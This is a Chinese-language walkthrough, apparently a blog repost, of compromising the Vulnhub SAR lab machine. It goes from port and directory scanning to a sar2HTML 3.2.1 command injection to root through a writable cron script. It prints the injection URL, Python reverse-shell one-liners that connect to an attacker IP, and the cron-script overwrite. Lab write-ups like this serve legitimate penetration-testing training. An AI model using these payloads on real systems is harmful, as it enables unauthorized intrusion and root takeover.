当前位置: 首页 > news >正文

Vulnhub SAR靶场实战:从信息收集到Root提权全解析

1. 环境准备与靶机配置

在开始渗透测试之前,我们需要先搭建好实验环境。Vulnhub的SAR靶机是一个专门为渗透测试学习者设计的虚拟机,模拟了真实世界中的漏洞场景。我建议使用VMware Workstation或VirtualBox来运行这个靶机,这两种虚拟化平台都能很好地支持。

首先从Vulnhub官网下载SAR靶机的OVA文件。下载完成后,打开VMware选择"文件→打开",导入下载好的OVA文件。这里有个小技巧:我习惯把靶机命名为"SAR-Target"以便区分,同时把虚拟机存储在我专门用于渗透测试的目录中。导入完成后,不要急着启动靶机,先进行网络配置。

右键点击靶机选择"设置",在网络适配器中选择NAT模式。这里有个关键点:NAT模式能让靶机与你的攻击机处于同一网络,同时又不会干扰到物理网络中的其他设备。我遇到过不少初学者直接使用桥接模式,结果不小心扫描到了公司内网设备,这非常危险。配置完成后启动靶机,通常Ubuntu系统的靶机启动速度都很快。

2. 信息收集与目标识别

信息收集是渗透测试中最关键的阶段之一。我习惯先用一个简单的ping扫描来确认靶机是否在线:

ping -c 4 192.168.119.174

确认靶机响应后,开始使用nmap进行更全面的扫描。这里分享一个我常用的高效扫描命令:

nmap -T4 -A -v -p- 192.168.119.174

这个命令中,-T4表示加速扫描,-A启用操作系统和服务版本检测,-v显示详细输出,-p-扫描所有65535个端口。在实际测试中,我发现这个靶机只开放了80端口,这意味着Web应用将是我们的主要攻击面。

接下来使用dirsearch进行目录扫描,这个工具比传统的dirb更快速准确:

python3 dirsearch.py -u http://192.168.119.174 -e php,html,js -t 50

扫描结果中,/robots.txt文件特别值得关注。访问这个文件后,我们发现了一个关键目录/sar2HTML。这个目录下运行着一个名为sar2HTML的应用,版本号为3.2.1。经验告诉我,这种小众的Web应用往往存在已知漏洞。

3. 漏洞利用与初始访问

通过搜索sar2HTML 3.2.1的漏洞,我很快发现这个版本存在远程代码执行漏洞。这个漏洞的利用方式非常直接 - 通过plot参数注入系统命令:

http://192.168.119.174/sar2HTML/index.php?plot=;whoami

确认漏洞存在后,我们需要建立一个更稳定的shell连接。由于靶机上的netcat不支持-e参数,我选择使用Python反弹shell:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

在攻击机上,我们需要先启动一个监听器:

nc -nvlp 4444

执行漏洞利用后,我们成功获得了www-data用户的shell。这时候我通常会立即升级到更稳定的shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'

4. 权限提升与Root访问

拿到初始shell后,我开始系统性地寻找提权途径。首先检查SUID权限的文件:

find / -perm -4000 -type f 2>/dev/null

没有发现可利用的SUID程序后,我转向检查计划任务:

cat /etc/crontab

发现一个有趣的配置:系统每5分钟以root身份执行/var/www/html/finally.sh。查看这个脚本,发现它只是简单地调用了同目录下的write.sh。而write.sh具有全局可写权限,这正是我们的突破口。

我将反弹shell的Python代码写入write.sh:

echo 'python3 -c '\''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.119.130",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\''' > write.sh

在攻击机上启动新的监听器:

nc -nvlp 4445

等待不超过5分钟,我们就获得了root权限的shell。最后一步是获取flag:

cat /root/root.txt

在整个过程中,最重要的是保持耐心和系统性思考。每个步骤都需要仔细验证,特别是在写入反弹shell代码时,要特别注意引号的嵌套和转义,这是我曾经踩过多次的坑。

http://www.jsqmd.com/news/484158/

相关文章:

  • EEG特征工程实战:从SEED数据集到机器学习模型的完整流程
  • 2026年知名的短视频代运营公司推荐:短视频代运营客户认可推荐公司 - 行业平台推荐
  • Webots vs真实硬件:四轮小车控制代码移植指南(C语言版)
  • GPT-SoVITS惊艳作品集:听听这些由AI克隆生成的逼真语音案例
  • Step3-VL-10B-Base多风格图像理解效果对比:从写实到抽象
  • 大模型智能客服方案图:从架构设计到生产环境落地实战
  • 2026年靠谱的胶木球厂家推荐:胶木球厂家综合实力对比 - 行业平台推荐
  • Depth Anything V2:变革性单目深度估计的基础模型解决方案
  • 深入瑞芯微 RK3588 驱动开发:从零构建 Linux 驱动模块
  • 2026年质量好的氢气瓶检测设备工厂推荐:液化气瓶检测设备精选厂家推荐 - 行业平台推荐
  • Qwen2.5-VL-7B-Instruct编程辅助实战:基于视觉的代码生成与解释
  • FPGA玩家必备:SiI9134 HDMI输出寄存器配置全攻略(1080P实战)
  • AI赋能ui-ux-pro-max:让快马平台生成具备智能交互的下一代应用界面
  • 西门子PLC无线通讯实战:基于WIFI的PPI/MPI协议跨设备数据交互
  • 逆向Android相机HAL:用V4L2实现虚拟摄像头的底层原理与调试技巧
  • Qwen1.5-1.8B GPTQ企业级应用:基于.NET框架的智能文档处理系统
  • QLabel的四种显示方式
  • 解放硬件工程师双手的Altium文件处理工具:从安装到精通的零门槛指南
  • BASLER工业相机外触发拍照故障排查全指南
  • Cockatrice主界面开发实战:从零搭建一个Qt多标签卡牌游戏客户端
  • 如何在Mac M1上通过qemu-system-x86_64运行最小Linux系统(附性能优化技巧)
  • 革新OpenCore配置:3大核心功能让Hackintosh部署效率提升60%
  • Fortify扫描实战:Spring Boot应用中最容易被忽略的5个高危漏洞及修复方案
  • 比迪丽AI绘画软件测试实战:生成图像质量自动化评估
  • ANIMATEDIFF PRO新手必看:三大电影感提示词模板,直接复制使用
  • 2026年质量好的小型激光打标机公司推荐:芯片激光打标机/金属激光打标机/激光打标机设备工厂直供哪家专业 - 行业平台推荐
  • 5分钟搞定openEuler Embedded Yocto构建:从零配置到镜像生成全流程
  • CLIP-GmP-ViT-L-14效果展示:动态模糊图像仍保持高相关性排序能力
  • 光伏并网必看:30mA漏保设置与绝缘电阻计算的5个关键细节
  • DSM 7.2.2系统Video Station安装与HEVC解码全攻略